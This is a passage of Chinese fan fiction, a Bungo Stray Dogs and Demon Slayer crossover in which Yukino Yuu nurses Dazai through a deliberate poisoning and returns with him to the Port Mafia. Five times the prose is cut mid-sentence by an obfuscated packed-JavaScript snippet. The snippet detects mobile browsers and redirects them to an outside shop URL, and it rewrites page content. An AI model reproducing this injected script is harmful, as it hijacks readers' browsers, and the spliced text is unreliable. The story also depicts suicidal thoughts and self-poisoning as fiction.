顶在额头上的枪前进了一分,缠着绷带的少年似乎也发出了一声冰冷的哼笑,“怎么?很好笑吗?” “确实哦。”雪野夕慢悠悠地向右移动了一步,避开枪口,继续往前走,“太宰君威胁人的样子……像只张牙舞爪的小猫。” 这个奇怪的形容让太宰治肩背一疆,面色倒是说不上难看,“雪野小姐的形容词,真是……奇妙。” “那就谢谢夸奖喽。”她换了个话题,“倒是没想到,太宰你居然出门跟踪我?” “前两天不是还躲着不出现吗?怎么,工作都做完了?” “真是的,雪野酱的心里就只有工作吗?”太宰猫猫从喉咙里冒出了一声小小地抗议,他收回了枪,语气也从冷漠转向平时的模样。 是发现没有吓住她所以迅速转变了策略吗? 好有趣,雪野夕转动着手中的手杖,猫这种生物,往往将自己看做捕食者,示敌以弱,也是狩猎的一部分吗? “今天发生了什么好事吗?”太宰治轻巧地走在她身边,衣角一甩一甩,像是猫尾巴在摇晃。 “一出门就撞到猫算吗?”她看见太宰治的脸似乎鼓了鼓,慢悠悠地补上下一句,“当然,还是两只。” 行走中的小黑猫愣住了,一瞬间,雪野夕觉得自己在他眼中看到了“你这个混蛋你怎么可以把我和别的猫比较”的神情。 ……不知道为什么良心突然有点痛。 “我当然是来找栗子酱的。”太宰治对着雪野夕肩膀上的栗子酱伸出手,“……除了栗子酱没有别人。” 后一句声音小得几乎听不见,仅仅是唇间的细微呢喃。 栗子酱有点纠结,因为很快就到了开始穿越异世界的时间了,现在离开主人身边不知道会出现什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306278|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么意外。 被宝石一样的眼睛凝望着,压力真的好大,它、它就让他摸一下下。 就在太宰治带着薄茧的手掌和粗糙的绷带一起落在栗子酱身上时,时空的通道,打开了—— 雪野夕、栗子酱、太宰治同时落在了冰冷的木头回廊上。 冬日的风雪在身边呼号,棋盘上黑白的棋子冰冷,但依旧维持着对弈的局势。 这是……她离开大正时代前的景象。 “哇哦。”骤降的气温让只穿着西装三件套的太宰治面色苍白,语气也有点虚弱,“原来雪野小姐离开后是来到这里了。” “好大的风雪……”他已经开始控制不住地颤抖,“应该会冻死我吧?……虽然很痛苦,但……” 话音未落,他就被雪野夕利落地推进了屋里,找出一床被子裹了起来。 猫咪被冻到了,凉冰冰的头发无精打采地打着卷贴在脸侧,被子一直裹住半张脸,只留下一只没被绷带缠住的鸢色眼眸可怜巴巴地望着她。 “先喝点热水?”雪野夕问他。 “哼,我要喝加了两勺糖的。”猫咪卷大声抗议。 “不要突然像人格分裂了一样啊。”雪野夕把热腾腾的水碗往他手里一塞,“半小时前你还拿枪指着我吧?” “可是雪野酱根本不是人耶,那种程度只能算是打闹吧?”猫咪捧住水碗嘀咕,“还嘲笑我是猫什么的……” 其实他更在意雪野夕把他和另一个人比较,为什么……他无法成为更特别的那个呢? ……不,这样的他有什么资格成为更特别的那一个呢? 他对雪野小姐,与其说是好奇,倒不如说是羡慕。 那种明明知道是虚无但却仍旧选择了活下去的羡慕。 啊,真是的,自己果然是个胆小鬼吧。 看着不知为何突然陷入了沉痛的猫,雪野夕觉得很疑惑,为了解决空气中微妙的氛围,她把栗子酱丢过去给猫玩了。 就决定是你了,猫玩具! 栗子酱在太宰治的头顶瘫倒了,这种毛绒绒的熟悉感,蓬松的绷带,发丝闻起来还有一点淡淡的花果和硝烟的气息。 看着光享受不干活的栗子酱,雪野夕若有所思,主动走过去摸了摸太宰治的头。 ……手感居然这么好吗? 低头对上太宰治怔愣的眼神,她主动破冰,“头发很软。” 这话听起来好像个流氓…… 但眼前是被她猫塑的太宰治嘛,对方平时脑子也不是很正常,应该不会太在意吧? 顶多会在心里的小本子上记几笔,最后往枪里多装几发子弹。 “这里平时没什么人住,东西也很少。”雪野夕收回已经冷了的水碗,里面的水只少了一点点,“……等到雪停了我们就一起下山吧。” 她顺便找几只鬼取血带给珠世小姐研究,再买点人类的必需品。 被子里的人最终挤出了一句声若蚊蝇的话,“……好。” 哎?这么轻易?他就这么水灵灵地答应啦? 20. 紫藤花毒 我真傻,真的。 我明知道太宰治那小子指定不老实,早知道我应该把他放在家里,用绳子牢牢地绑在床上,最好在打上十个死结。 话说横滨开锁王对解开死结也会有一定的心得吗? ……怪不得乱步先生说我这趟旅途并不顺遂,原来是带上了小兔宰治的缘故。 那天没套他麻袋真是可惜了,啧。 ——【雪野夕の日记,因为回到大正而变回的1月10日。】 太宰治真是个奇人,他居然能在娇羞无措和冰冷扭曲之间任意切换,这两个性格转变之间连个不应期都没有。 在雪野夕翻遍了屋子终于找到一件他能穿的衣服后,她松了口气,总算不用让太宰治穿着西装三件套招摇过市了。 虽然这个年代也会有人穿西装,但大冷天穿这身还是有些考验太宰治根本就没有的一些品质了,比如身体素质。 唔,自杀总是死不掉,这身体素质应该也不错? 躲在被子里的太宰治换好了和服,把有些散乱的绷带重新缠好。 他推开了门,风雪袭来,还是很冷,不过下一刻,一件带着大毛领的毛呢外套披上来。 “……哎?”身着浅紫色绣葡萄藤花纹的太宰治有点懵,“这几件好像都是雪野酱的衣服吧?” “是这样没错啦。”雪野夕看着被毛领围绕像是陷入了雪堆里的太宰猫,“但是我们身高差不多,你就勉强穿穿好了。” “这样出去真的不会被人认为是变态吗?”他倒是没有脱下来的兆头,反而是裹紧了斗篷跟她讨论。 “以你的脸来说应该不会?”雪野夕毫不犹豫地说:“长得漂亮确实可以为所欲为啊。” 太宰治:“……” 他好像不是很想要这种穿女孩子衣服好看的赞美。 到了傍晚,风雪暂歇,雪野夕兴致勃勃地把即将陷入冬眠的猫咪拽起来,“出发!” “可是人家一整天没有吃饭了哦。”太宰治微微低头,挑起斗篷的一角挡在下半张脸前,“啊……真是疲惫呢。” 雪野夕看得呆了一下,“要不要考虑留个长发?” “哎?” “黑长卷,很好啊。”雪野夕非常诚恳,“当然,绝对不是我想看你留黑长卷。” “真是贪得无厌。”他稍微歪了下头,“明明雪野小姐自己就是黑长直嘛。” 有时经过她身边还会嗅到黑色长发上的柑橘清香。 意识到自己在想什么奇怪的东西,他轻微甩了甩头,又闭上了眼睛。 “走嘛走嘛,要不然明天还是要在这里饿一天啊。”雪野夕戳戳他,“就连水都只能去外面舀一碗雪现煮。” 那为什么就不能放任自己在这里孤独地死掉呢?满脸忧愁的小黑猫叹息着起身,被扯住斗篷带走了。 雪后的森林很安静,只有踩实雪花发出的嘎吱声,静夜无月,唯有风声像不甘的呼号响彻耳边。 “这里的树木真粗壮啊。”走着走着,太宰治提出了一个新话题,“如果能……” “如果能挂上去的话,就会变成鬼的风干腊肉。”雪野夕非常诚恳地表示。 “鬼?” “是啊。”雪野夕没想隐瞒,毕竟现在正巧有一只在朝太宰治跑过来,瞒也是瞒不住的。 他衣着破烂,体型矮小瘦弱,几乎是已经变成了骷髅的程度,此时在雪中四肢着地狂奔,早已顾不上研究隐藏自己。 “上去!”雪野夕一把抓住太宰治的后领,将他往树上一扔,眼看他抱住一根粗壮的枝丫,她才拦住这只鬼。 “你也是鬼?”骷髅鬼的四肢在雪地里刨动,“让开!” 他此时饥肠辘辘,急需吃人,在森林中穿行许久,除了吃一些麻雀兔子之类的,一点血肉也见不到,好不容易看见一个人,却是个有主的。 “你才让开。”雪野夕站在太宰治栖身的树前,“鬼之间的争斗没什么意义,看你的样子,应该没什么血鬼术吧?确定要在太阳升起之前和我战斗吗?” 尖锐的爪子狠狠刺入雪地,雪野夕听见那只鬼喉咙之间不断地发出“嗬嗬”气声,最终,他面朝着她退了一步。 退出十几步后,他转身朝另一个方向狂奔而去。 “原来是一种惧怕阳光而且需要吃人的生物吗?”太宰治从树上一跃而下,像只小鸟飞下枝头,“但从没看过雪野酱吃人呢?” “吃人什么的我拒绝。”雪野夕比了个叉。 “那每天需要睡很长时间,就是不吃人的代价吗?”他却好像找到了感兴趣的话题,追在她身边问东问西。 任凭雪野夕加快脚步,他也会迈着轻快的步子跟上来。 等到了天色微明,城镇已经近在眼前。 “好累。”太宰治喋喋不休地说了一夜,现在开始抱怨了,“想喝点咖啡,要加两块方糖的。” “珠世小姐!”雪野夕在冷清的街上看到了熟悉的身影,穿着黑色和服,鬓发挽起,神色温柔的女子。 她身边还跟着一个眼神不善的愈史郎。 他俩相处过两天,相看两相厌,日常全靠珠世小姐从中斡旋。 “都快天亮了,你这个失礼的家伙!”愈史郎翻了个白眼,“这次来居然又带着一个拖油瓶啊!” “珠世小姐你看他!”雪野夕照旧先告状,“我带来了新的鬼血哦。” 太宰治此时安静地站在她身后一言不发,再加上脸上、脖颈和袖口处露出来的绷带,愈史郎只是重重地瞪了他一眼就没在说什么了。 “别在吵了,我们先回去吧。”珠世向她招招手,“来尝尝我的红茶好吗?” “当然。”雪野夕抓住太宰治的袖子,“我们走吧。” 袖子被并不大的力道拉动了,他也跟着她再一次迈开了脚步。 ……真是,憎恨自己这不坚定的心啊。 厚重的云层仍堆叠在上空,雾蒙蒙的山和近乎苍黑色的树木如同吞噬人心的鬼怪,让他嘴里泛起一股凉意。 珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306279|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世小姐的家里很暖和,室内厚重的布帘和燃烧的灯火让人下意识精神松懈,她拜托愈史郎为太宰治找一身男装,自己则与雪野夕留在了另一个房间。 “谢谢你上次带来的上弦之二的鲜血,相信研究很快就会有更好的结果。”她沏了一杯红茶,热气飘散,橙红茶汤倒映出淡色的眼睛,只有长久地凝视才能发现她隐藏在如水眼眸底下的恨意。 “这次出门,我听说鬼杀队也有一直在研究药剂的人,更何况他们掌握了很多种杀灭鬼的毒药,也许和他们合作也是一条出路。”雪野夕想到从栗子酱那里看到的剧情,试探着提出了这个想法。 “……和鬼杀队合作?”珠世攥紧了袖子,“……我、我吗?” “现在应该还不到时候。”她尝了一口红茶,感叹着它的醇香,“我在外面行走的时候,听说这一代的鬼杀队是千年以来最强的,有他们在,也许很快就能终结鬼舞辻无惨了。” “是这样吗?”珠世捂住了嘴,雪野夕似乎看到两滴眼泪滚落,“那真是……太好了。” “我会加快研究进程的。”她很快就平静下来,“我会一直坚持着……直到鬼舞辻无惨彻底死去的那一天!” 隔壁传来的器皿碎裂声和愈史郎的声音很快打破了屋内的平静。 雪野夕与珠世小姐对视一眼,一起朝着走廊的另一侧赶了过去。 门内,是倒在地上的太宰治和满脸惊愕的愈史郎。 他拿来的和服并没有被换上,此时正扔在房间一角,而太宰治蜷缩着身体,脸色苍白,嘴唇透出一股淡淡的紫色。 “发生了什么?”雪野夕跑过去抬起了太宰治的脸,看到了他有些涣散的眼神,“愈史郎先生,他自己喝毒药了?” 以为会被质问的愈史郎:“……” “他、他,哎呀!”愈史郎有点咬牙切齿,他现在有点后悔为什么拿和服的时候要挤兑这个小子两句了,谁能想到他居然真的能一声不响地拿起紫藤花毒喝下去啊! 他死了不要紧,珠世大人万一责怪自己怎么办! “我来看看。”珠世此时没有心思计较别的,身为医生,更重要的是拯救眼前之人的性命。 “他喝了紫藤花毒,这毒是我新研制的,对人来说不会致命,但会有很大的痛苦。”查看过后,她做出了这样的判断,然后有些严厉地看向愈史郎,“这是怎么回事?” “刚刚我说了他两句,又看见他看了两眼紫藤花毒的瓶子,就顺嘴告诉他了……”愈史郎大急,“对不起珠世大人!我也没想到他会喝下去!” 啊啊啊可恶的小子,要死去外面死啊!居然敢让珠世大人操心! “以后不可以这样了!”珠世训斥他。 而另一边,雪野夕摸上了太宰治冰冷的脸,透过粗糙的绷带传入手心,细碎的发丝垂落在手背上,带来微微的痒意。 乱步的推理果然没错…… “听见了吗太宰治!这个喝了死不了只会疼!下次不许这么自讨苦吃了!” 21. 雪中森林 太宰治的黑泥程度,连鬼来了都搞不定。 根据他的属下所说,这小子加入港口mafia一年来,行事手段从冷漠到暴躁且冷漠,想要自杀的倾向也越来越严重。 可是如果真的想死的话,自己张开嘴巴向里面开一枪已是最快捷的方法,甚至能做到连死亡的感受都来不及细细品味。 太宰治身为港口mafia的优秀员工,又怎么会不知道呢? 与其是追求着死亡,倒不如说是在执着地追求生的意义吧。 ……但这么草率地折磨自己,我还是很生气。 ——【雪野夕の日记,1月30日。】 雪野夕停下笔尖,墨水在纸张上晕开一个小小的黑点。 房间另一侧传来悉悉索索的动静,似乎是太宰治醒了过来。 她绕过屏风,“你都昏迷一个多周了……” 太宰治转过脑袋,发现自己身上的绷带全都不见了,这让他有种仿佛没穿衣服的怪异感,而当他转头看向雪野夕时,脑子里更是冒出了自己究竟睡了多久的想法。 切换为成年形态更方便活动的雪野夕看着躺在被子里的猫,由于一个星期过去只能偶尔给他灌进去一点粥水,太宰治瘦了一大圈,本来就是十五六岁、骨头纤细的少年,此刻面露迷茫、眼含泪光地望着她,就好像在整个世界上,他能依赖的就只有她一样。 “啪!” 刚刚醒过来的太宰治被雪野夕毫不留情地一巴掌扇在了脸上。 “雪野……小姐?”他被打得歪过去一边,不敢置信地慢慢转回来,睫毛微微颤抖中似乎还带着一点水汽。 但很快,他就收敛好了所有的情绪,甚至还想用干裂的嘴唇扯出一个惯常的笑容。 醒过来了吗?面对世界的时候,果然还是要为自己带上面具吧。 “为什么笑?”雪野夕面无表情地看着他不自觉攥紧被子的手,“毒发期还没有过去,接下来你还要面对很长一段时间的痛苦,但却无法真正死去。” “啊……那真是倒霉。”像是不知道该如何应对这种古怪的气氛,太宰治只能低头轻声道歉,“抱歉,我下次……不会再这么做。” 一只手却覆上了他脸上刚刚被打的地方,带着不容置疑地力道迫使他看向她,“追逐死亡……想要在距离死亡最近时体会到生的意义,你是这么想的吗?太宰。” 被迫与苍绿色的眼眸对视,让太宰治想起昏迷前窗外远山上的森林,积蓄了厚厚的雪层,如果站在上面,一定会深深的陷进去吧? “难道……不是这样吗?”他最终自嘲地苦笑,“雪野小姐不是也说过,活着没什么意义吗?” “当然没有什么意义。”雪野夕仍然在直视他的眼睛,“你不需要变成钻石,你不需要事事回应别人的期待,你不需要活在那些成就中,你只是你自己,你本该就是你自己,太宰治。” “正是因为生命本身很可能没有意义,所以才值得更好地活过。”(注1) “我……”像是被这番话砸晕了,太宰治的嘴唇嗫嚅了好几下都没能再发出别的音节,“但是……” “但是现在说这些也没有用。”雪野夕松开手,一指头就把他戳得倒回了蓬松柔软的被子里。 “……哎?” “我都说了毒还没有完全被你代谢掉啊。”她摸摸太宰治的一头软毛,“吃错了东西就承担后果吧,坏猫。” “等下、等下。”被盖上被子的太宰猫在被子里蹭了蹭,像是在下意识地标记地盘,“明明刚刚的气氛还是很严肃的哦。” “你还想被审讯吗?” “如果是雪野酱刚刚的气势的话,可以哦。” “你还是闭上眼睛睡觉吧!” 雪野夕起身去端珠世小姐给的药,转过屏风前,她停住了身体,“短时间内我们大概不会回去,所以,请暂时享受只为自己活着,单纯生活着的时间吧,太宰。” 窗外不知何时又飘起了雪。 太宰治难得进入了一段无所事事的时光,室外是不停歇的大雪,过多的雪花偶尔会从房檐上崩塌,他能听见碎玉一样的敲打声,到了一定程度就会发出一声闷响,这时候他就明白,是窗后的雪又坠落下来了。 被静谧冬日包围的感觉,和雪野夕小姐带来的感受是一样的。 她只有极少数时间才会越过屏风,其中大部分目的还是带来食物或者那种难喝的药。 太宰治偶尔也会故意要求她来喂他,雪野夕只会用“小猫又在和我玩”的表情看他一样,或者敷衍他,“这里可没有你喜欢的蟹肉,只能先忍一忍了。” 一定是讨厌他吧,太宰治心想,自己就像是黑漆漆的泥沼,到了冬日就只能干涸或者封冻,一旦身上没有了绷带的遮掩,露出陈旧而模糊的伤痕和原本的躯体…… 一股尖锐的烧灼感出现在他的身体里,一路蔓延到了大脑,鼻唇中呼出焦热的气息,暴露在外的皮肤却只能感受到干冷。 又是残余的毒药在身体里作怪。 太宰治面色惨白地跌落回被子里,望着空无一物的天花板发呆,为什么呢?为什么自己不能直接离开这个世界,为什么要让雪野小姐看到他这么狼狈的模样? 这次的痛苦好像格外长久一些,久到雪野夕带来今天的药的时候,刚好看见太宰治一动不动地盯着天花板泪流满面的样子。 “怎么了?”她下意识用手背覆盖上他的额头,“是不是又疼了?” 哭泣的人很久没回话,许久才抬起湿漉漉的睫毛,有些艰涩地吐出一句话,“雪野酱……是不是很讨厌我?” “怎么会!”雪野夕端着的药碗里泛起一丝水波,“我……” “我只是觉得太宰不应该像现在这样。”她放下药碗,准备先擦干他的眼泪。 手还没有触及到他的脸颊,一滴眼泪就落在虎口处,接着手腕被他牢牢抓住,主动放在他的脸侧。 黑发的少年眼睛漆黑无光,即使倒映出她的身影也是黯淡的,“但我本来就是一个不值得的人,不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306280|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 内脏传来刀割般的痛苦,分散到四肢就变成了尖针在一下下地刺入。 “杀了我吧,雪野小姐。” 毒素顺着血液渗入了大脑,眼前出现了晕白的光斑。 “让我从这个氧化的世界里醒来,就这么……到达地狱吧。” 放在他脸侧的手却挣脱了束缚,捏住他的下巴迫使他与她对视—— “你只是被痛昏头了,再敢这么说,小心继续被我掌掴哦。” “……哎?” 再次不容拒绝地将他按到在被子里,雪野夕心想,看来待会儿该去珠世小姐那里要一点镇痛药才对。 ———— 从柔软的被褥中醒来,闻到的是雪后的松香,而并非集装箱中驳杂的味道。 太宰治支撑着自己,从被子里站了起来,今日雪停了,是难得地好天气呢。 他毫不在意地上的冰冷,走到窗边,推开了窗户,抓握了一把雪捏在手心。 彻骨的冰冷一点点带着他回忆起了在港口mafia中的所见所闻——血腥、暴力、欲望、诱惑。 这就是人性,他所探寻到的人性。 融化的水滴穿过指缝,太宰治毫不犹豫地用冻红的手捏住自己的脖颈,他有多久没有体验过那种濒临窒息的感觉了? 为什么……为什么雪野小姐不能直接拧断他的脖子呢?再让他遭受这样的感觉……他会忍不住诅咒她的。 或者也许下次应该试试恐吓和诱惑? 走进房间发现猫猫疑似黑化的雪野夕收起了遮阳用的黑伞,“你又在发什么疯?” “真无情啊。”太宰治咳嗽了两声,熟练地用幽怨的语气控诉,“雪野酱平时都不来找我玩。” “主要是这里娱乐设施匮乏。”雪野夕挺诚恳,“如果有游戏机我一定和你联机打游戏。” 他闷闷地笑了,“雪野酱有时候的表情……真有趣。” “嗯?”雪野夕歪头挑了下眉,“有吗?” “当然。”太宰治走回被子堆,里面还残留着几丝余温,“尤其是忍不了的时候露出的想用我的绷带勒死我的表情。” 啊……真是让人期待呢。 “这样啊……”雪野夕打量了他一下,“可惜现在没有绷带,只能用被子捂死你了。” 太宰治眼睛都亮了,“真的吗雪野酱?” “想得倒美。”雪野夕送出最后一碗苦药,“今天的。” “还是把我用被子闷死吧。”他绝望地闭上了眼睛,头发在枕头上散落,像是塌下去的猫耳朵。 “珠世小姐嘱咐你喝完药去外面走走。”她戳戳被子里的猫猫卷,“否则等我们回到横滨,你就会因为再次退步的体术被中也狠狠嘲笑呢。” “这个时候为什么要提小蛞蝓?”猫猫哼了一声,很不开心。 “因为他是出我以为港口mafia另一个会打你的人?”雪野夕脑子一抽,给出了一个自以为非常合理的理由。 “……” 22.阳光之下 这几天到处收集鬼血,实在有点劳累。 太宰治偶尔在昏迷中说些听不懂的梦话,只能通过语气来判断,时而严厉时而疯癫,时而甜蜜时而冷冽,但想要的只有一份安宁。 ……可他一旦睁开眼睛,就根本不会有安宁的时候吧?会拆家的猫猫实锤了。 栗子酱看到我偶尔盯着屏风发呆,会用小翅膀来拍拍我,然后问我是不是有点喜欢他。 呵,其实我根本就没有被太宰治骗到,我只是在跟他博弈,他绿茶的样子我能不知道吗,他表现的这么温顺示敌以弱我能不知道吗,他笑眯眯地看着我我能不知道吗,我装作被他迷住其实是我计划中的一部分,一切都在按计划进行—— 好了,栗子酱你别说了,我自有打算,我要去问珠世小姐要点止痛的药物了。 ——【雪野夕の日记,1月31日。】 “和我一起去外面走走吧,雪野酱。” 当一只小黑猫主动翻出了肚皮,可怜巴巴地求你摸他的时候,是个人都很难拒绝啊。 在栗子酱震惊的眼神中,雪野夕当场就答应了。 外面的积雪还没融化呢,猫自己出去走丢了怎么办? 似乎看懂了她的眼神,太宰治嘴角微微上扬,“那就拜托雪野酱了哦。” 雪野夕起身去拿自己的伞,准备撑开伞和他一起出门。 没想到却被太宰治一把攥住了手腕,他的手很瘦,用力握住她时几乎能感受到他手心的每一块骨骼。 指节冰冷,只有手心是微微温热的,此时没有了绷带的阻隔,那只手放上来时还轻微地收缩了一下,像是主人不知该如何用自己切身的体会去触碰外界。 “雪野小姐知道吗?”他如雾霭沉沉的鸢色眼眸看过来,“我做了一个梦。” “梦里我推翻了森先生,自己带上了那条掌握权利的红围巾。” “在完成了四年的谋划后,自己从港口mafia的大楼上一跃而下。” 最后摔得粉身碎骨,万劫不复。 “……他倒是圆满啊。”太宰治轻轻扯了扯嘴角,眼睛里却毫无笑意。 他不是落水后被森先生捡回来的,而是自杀失败了,被港口mafia送去森先生的诊所,没想到……后面的事情是这样的。 “那么现在,让我来验证我的猜想吧。”他握住她手腕的力道又大了一分,接着,猛然将她从阴影中拽入阳光之下。 冬日的阳光洒落在同样苍白的肢体上,雪野夕几乎是下意识地将自己狠狠地向后抽离,连带近在咫尺的太宰治都被她拉得一个踉跄。 ……但什么事也没有发生。 刺目的阳光既没能在手上留下温度,也没带来灼热的伤害。 雪野夕就被太宰治一点一点地拽入了阳光下。 浓黑的发丝从肩头坠落,扫在手臂上,像是阳光触及的感觉。 她却一点也顾不上这点微末的痒意。 眼前的太宰治也在太阳底下闪闪发亮,他弯了弯眼睛,“相信我哦,雪野酱。” 从很早以前他就有了这个推论,【人间失格】可以消除她的空间能力,那么与这份能力相伴的副作用呢? 胃里似乎有蝴蝶翅膀扇动了一下。 他们两个人一起踩进了雪里,在白茫茫的雪地上留下两串脚印和嘎吱嘎吱的轻微响声。 不算温柔的风回荡在两人中间,但太宰治始终把手握得很紧。 直到雪野夕轻轻拉扯了一下他,“回去吧,天上的云又开始堆积了。” “……真可惜。”围着大毛领的太宰治低低叹息,“最后一次了啊……” 他的声音几乎模糊成了唇舌之间的吐息,但雪野夕还是看懂了,她并没有多说什么。 “我们回去吧。” 不只是回到躲避风雪的地方,更是回到横滨。 “横滨……”他几乎艰涩地开口,“那可不是一个无风无雪的地方。” “可你不能否认,你是爱着它的。” “或许吧。” 刨除另一个世界里当上首领的他的记忆,太宰治反倒觉得,自己中毒的时日也许才是最轻松的一段时光—— 身躯被囿于方寸之地,思想与灵魂却在无限贴近死亡中尽情遨游。 雪野小姐说的,不抱有意义活着的人生,他真的能做到吗? ———— “春季跳鹤见川也不算好选择。”湿淋淋的雪野夕从河边一脸生无可恋地爬上来,又转身把呛水后半死不活的太宰治也拎了上来。 “在刺骨的寒冷中走向死亡,确实不是什么好感受。”大病初愈的太宰治睫毛上似乎挂上了一层浅薄的霜雪,他现在急需回到港口mafia的办公室找到屯好的绷带把自己缠起来。 雪野夕拧干长发上不断滴落的水滴,还没来得及用血鬼术把自己身上的水份尽数剥离,就听到一个不可置信的声音响起—— “喂,你们两个怎么在这里?” 带着小圆礼帽的橘发少年震惊地看着两个从水里出来的同事,一双钴蓝色的眼睛即使在黑夜中都瞪得圆溜溜的。 “那个,中也大人……” 不等雪野夕开口解释,中原中也身边的一个黑衣人就非常上道地凑近他一步,开始科普港口mafia的相约跳鹤见川二人组。 说到一半还特意抬脸对雪野夕点点头,一副“我都懂”的神色。 上次你们是各跳各的,现在被我们逮住了吧! “不、这个其实有别的原因……” “你们两个一起失踪了三天。”中原中也没好气地瞪了她一眼,“组织里都有人怀疑你们一起私奔了啊!” “哈?小蛞蝓居然连这点流言都解决不好吗?”还是一身水的太宰治鄙夷道。 “帽子君,你这么说就一点也不可爱了啊!”这是已经把自己甩干的雪野夕。 “停停停!”中原中也喊了一声,“你们两个不要一左一右同时在我旁边喊啊!” 他颇有些操劳地叹了口气,“不过有我在,最近确实是没什么大事啦。” “不愧是中也。”雪野夕小海豹鼓掌。 “那我的工作也替我干了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321972|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。”太宰治顺杆爬。 “混蛋青花鱼!”这句话一出,果然招来了中原中也的谩骂,“你在做什么美梦啊!” “现在!就去向!首领复命!” “是是。” “好好。” “你们两个……敷衍都这么如出一辙啊喂!” 在先后向森先生复命后,望着准备离开的雪野夕,仍然坐在椅子上摆pose的森鸥外有些语重心长地说:“雪野啊,你觉得太宰是个怎样的人呢?” 看似家常的语气让雪野夕猛然想起了太宰治说起过的梦,虽然无从得知他是如何令港口mafia的首领更替,但想必是有必要的理由。 于是雪野夕很诚恳地说:“是……长得好看的人?” “首领您当时挑选双黑是根据颜值来挑的吗?” 非要说的话,就连森鸥外自己,那也是风韵犹存呐。 被这个回答噎了一下的森鸥外一阵无语,聪明如他如何看不出下属的敷衍? 可他同意也知道…… “雪野,想必也是同意我的【最优解】的吧?” “自然。”她点点头,“但您的最优解,是放在当下看,还是望向长远呢?” 带着手套的双手颤动了一下,下一刻,森鸥外神色自然地摸了摸身侧爱丽丝的长发,“无论如何,我做出的都是有利于整个港口mafia的选择。” “那么我明白了。”她微微躬身行礼,“我本就是一个只能行走在黑暗中的生命,加入港口mafia也是理所当然的。” 与森鸥外告别,雪野夕退出首领办公室,走廊上的玻璃外,一轮朝阳正缓缓升起。 这个时间,她应该入睡了。 可今日不知为何,她就站在一侧静待着太阳的升起。 已经赶来工作的广津柳浪好几天没有看到她,此时非常自然地跟她打招呼,“雪野大人……” “广津老爷子。”她也笑着回应。 没想到老爷子话锋一转,“您在等太宰先生吗?他刚刚似乎被首领交代了任务,已经带着人出去了。” “我没有……”想问太宰这家伙去了哪里。 雪野夕轻轻吸了一口气,“我只是在欣赏日出的风景。” 可是雪野小姐不是不能碰到太阳光吗?广津柳浪心中疑惑,但面上还是笑着点点头。 太阳的轮廓逐渐升起,阳光笼罩上五栋大楼,也包括走廊上的两人。 雪野夕情不自禁地伸出了手,光芒洒落—— “您没事吧?”广津柳浪焦急地询问她。 刚刚的阳光让她痛呼一声,那种烧灼皮肉的感觉实在煎熬,让她几乎使不出血鬼术,只能一再后退到靠近墙壁的阴影中。 手上的一点小伤在呼吸之间就已经恢复如初,广津柳浪没问原因,只是仍然在执着地询问她如何了。 “没事。”她苦笑一声,“……我先回去了。” 回到黑沉沉的办公室,熟悉的黑暗包裹住她,安全而压抑。 但是胃中不知为何又传来了一下蝴蝶振翼的感觉。 23.港口mafia 回到港口mafia的这几天,时间过的很快,直到我被森先生紧急传唤。 办公室中,气氛难得地凝重。 有一段时间没见的太宰治依旧神色毫无波澜、眼神晦涩地发呆,中原中也面上表情狰狞,身上还缠了不少绷带。 他在cosplay他的搭档吗? 听见我的询问,他差点从地上跳到天花板上,声音几乎是吼出来,“哈?!我模仿这条该死的青花鱼?” 剧烈的动作似乎让他的伤口开裂了,中原中也却还在呲牙咧嘴地瞪着我。 ……好像猫打架之前的挑衅啊。 然后森先生有点无奈的声音响起,“雪野,你知道保尔·魏尔伦这个人吗?” 我被迫听完了这个人目前所知的生平,并且非常诚恳地问出了那句话—— “我打暗杀王,真的假的?” ——【雪野夕の日记,4月1日。】 当然是假的,因为旁边的帽子君会和我一起上。 以及他的好搭档太宰治。 甚至于港口mafia的所有有生力量都需要行动起来。 简单来说,就是弟控魏尔伦准备杀掉所有带坏他弟弟的人,这其中自然就包括港口mafia的所有人。 嘶,弟控竟恐怖如斯。 经过森先生的谋划,太宰治的名单,我和中原中也的抗伤害,最终魏尔伦被送回地底,成为五大干部之一。 